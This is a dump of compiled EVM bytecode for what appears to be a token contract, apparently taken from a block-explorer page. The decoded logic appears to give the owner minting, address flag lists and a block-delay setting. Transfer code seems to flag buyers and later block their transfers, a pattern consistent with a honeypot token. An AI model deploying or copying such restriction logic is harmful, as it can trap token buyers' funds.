fffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219c565b61211b8382612f7990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000811515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156122e957600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156123fd57600080fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600160149054906101000a900460ff161515141515156124d457600080fd5b81600160146101000a81548160ff02191690831515021790555060019050919050565b6000811515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561255857600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d83604051808215151515815260200191505060405180910390a26001905092915050565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156126b15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128215760001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561271557600080fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561277457600080fd5b60001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806128155750600754600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b151561282057600080fd5b5b600160149054906101000a900460ff1680156128875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128e15750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612a1f576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612a1e5743600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a5b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a9657600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612ae457600080fd5b612b3682600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bcb82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600090505b8351811015612d725782600360008684815181101515612ca157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508381815181101515612d0a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d84604051808215151515815260200191505060405180910390a28080600101915050612c85565b600191505092915050565b6000612e0e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515612f8757fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612fd357805160ff1916838001178555613001565b82800160010185558215613001579182015b82811115613000578251825591602001919060010190612fe5565b5b50905061300e9190613012565b5090565b61303491905b80821115613030576000816000905550600101613018565b5090565b905600a165627a7a72305820b9bbf36a850f474909b4cd599871306a78398c639315747ab739275123f199e10029

Deployed Bytecode

0x608060405260043610610127576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806264e2321461012c57806306fdde03146101b6578063095ea7b31461024657806318160ddd146102ab57806323b872dd146102d6578063313ce5671461035b57806340c10f191461038657806349b3d106146103d357806366188463146104185780636e81949d1461047d57806370a08231146104e4578063794be7071461053b5780638da5cb5b146105a257806395d89b41146105f95780639ceda54a146106895780639dd21928146106d0578063a9059cbb14610737578063b6fccf8a1461079c578063c67ed06b146107f3578063cb29c93b1461092e578063d73dd623146109b8578063dd62ed3e14610a1d575b600080fd5b34801561013857600080fd5b5061019c60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050610a94565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610b04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561020b5780820151818401526020810190506101f0565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025257600080fd5b50610291600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba2565b604051808215151515815260200191505060405180910390f35b3480156102b757600080fd5b506102c0610bb6565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b50610341600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bbc565b604051808215151515815260200191505060405180910390f35b34801561036757600080fd5b50610370610bd2565b6040518082815260200191505060405180910390f35b34801561039257600080fd5b506103d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b005b3480156103df57600080fd5b506103fe60048036038101908080359060200190929190505050610db4565b604051808215151515815260200191505060405180910390f35b34801561042457600080fd5b50610463600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e22565b604051808215151515815260200191505060405180910390f35b34801561048957600080fd5b506104ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e36565b604051808215151515815260200191505060405180910390f35b3480156104f057600080fd5b50610525600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea6565b6040518082815260200191505060405180910390f35b34801561054757600080fd5b50610588600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610eef565b604051808215151515815260200191505060405180910390f35b3480156105ae57600080fd5b506105b7610f5f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060557600080fd5b5061060e610f85565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064e578082015181840152602081019050610633565b50505050905090810190601f16801561067b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069557600080fd5b506106b6600480360381019080803515159060200190929190505050611023565b604051808215151515815260200191505060405180910390f35b3480156106dc57600080fd5b5061071d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611091565b604051808215151515815260200191505060405180910390f35b34801561074357600080fd5b50610782600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611101565b604051808215151515815260200191505060405180910390f35b3480156107a857600080fd5b506107b1611115565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ff57600080fd5b50610914600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b604051808215151515815260200191505060405180910390f35b34801561093a57600080fd5b5061099e60048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050611462565b604051808215151515815260200191505060405180910390f35b3480156109c457600080fd5b50610a03600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d2565b604051808215151515815260200191505060405180910390f35b348015610a2957600080fd5b50610a7e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e6565b6040518082815260200191505060405180910390f35b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610af257600080fd5b610afc838361156d565b905092915050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9a5780601f10610b6f57610100808354040283529160200191610b9a565b820191906000526020600020905b815481529060010190602001808311610b7d57829003601f168201915b505050505081565b6000610bae838361166d565b905092915050565b60005481565b6000610bc984848461175f565b90509392505050565b600c5481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3457600080fd5b610c4981600054611fcb90919063ffffffff16565b600081905550610ca181600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fab8530f87dc9b59234c4623bf917212bb2536d647574c8e7e5da92c2ede0c9f8836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1257600080fd5b610e1b82611fe9565b9050919050565b6000610e2e8383611ff7565b905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9457600080fd5b610e9e8383612288565b905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4d57600080fd5b610f57838361239c565b905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561101b5780601f10610ff05761010080835404028352916020019161101b565b820191906000526020600020905b815481529060010190602001808311610ffe57829003601f168201915b505050505081565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108157600080fd5b61108a826124b0565b9050919050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110ef57600080fd5b6110f983836124f7565b905092915050565b600061110d838361260b565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60009054906101000a900460ff161515156111c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f494e495449414c495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600d60006101000a81548160ff02191690831515021790555087600a90805190602001906111f3929190612f92565b5086600b908051906020019061120a929190612f92565b5085600c8190555085600a0a8502600081905550600054600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000546040518082815260200191505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663c9c6539630846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156113dc57600080fd5b505af11580156113f0573d6000803e3d6000fd5b505050506040513d602081101561140657600080fd5b8101908080519060200190929190505050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550979650505050505050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114c057600080fd5b6114ca8383612c7d565b905092915050565b60006114de8383612d7d565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080600090505b8351811015611662578260046000868481518110151561159157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555083818151811015156115fa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d84604051808215151515815260200191505060405180910390a28080600101915050611575565b600191505092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118055750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119d45760001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561186957600080fd5b60001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156118c857600080fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561192757600080fd5b60001515600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806119c85750600754600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b15156119d357600080fd5b5b600160149054906101000a900460ff168015611a3a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a945750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bd2576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bd15743600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c0d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c4957600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c9757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d2257600080fd5b611d7482600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e0982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611edb82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611fdf57fe5b8091505092915050565b600081600781905550919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612108576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219c565b61211b8382612f7990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000811515600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156122e957600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515156123fd57600080fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600160149054906101000a900460ff161515141515156124d457600080fd5b81600160146101000a81548160ff02191690831515021790555060019050919050565b6000811515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561255857600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d83604051808215151515815260200191505060405180910390a26001905092915050565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156126b15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128215760001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561271557600080fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561277457600080fd5b60001515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514806128155750600754600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540143105b151561282057600080fd5b5b600160149054906101000a900460ff1680156128875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128e15750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612a1f576001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d6001604051808215151515815260200191505060405180910390a26000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612a1e5743600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a5b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612a9657600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612ae457600080fd5b612b3682600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f7990919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bcb82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600090505b8351811015612d725782600360008684815181101515612ca157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508381815181101515612d0a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d84604051808215151515815260200191505060405180910390a28080600101915050612c85565b600191505092915050565b6000612e0e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fcb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515612f8757fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612fd357805160ff1916838001178555613001565b82800160010185558215613001579182015b82811115613000578251825591602001919060010190612fe5565b5b50905061300e9190613012565b5090565b61303491905b80821115613030576000816000905550600101613018565b5090565b905600a165627a7a72305820b9bbf36a850f474909b4cd599871306a78398c639315747ab739275123f199e10029

Deployed Bytecode Sourcemap

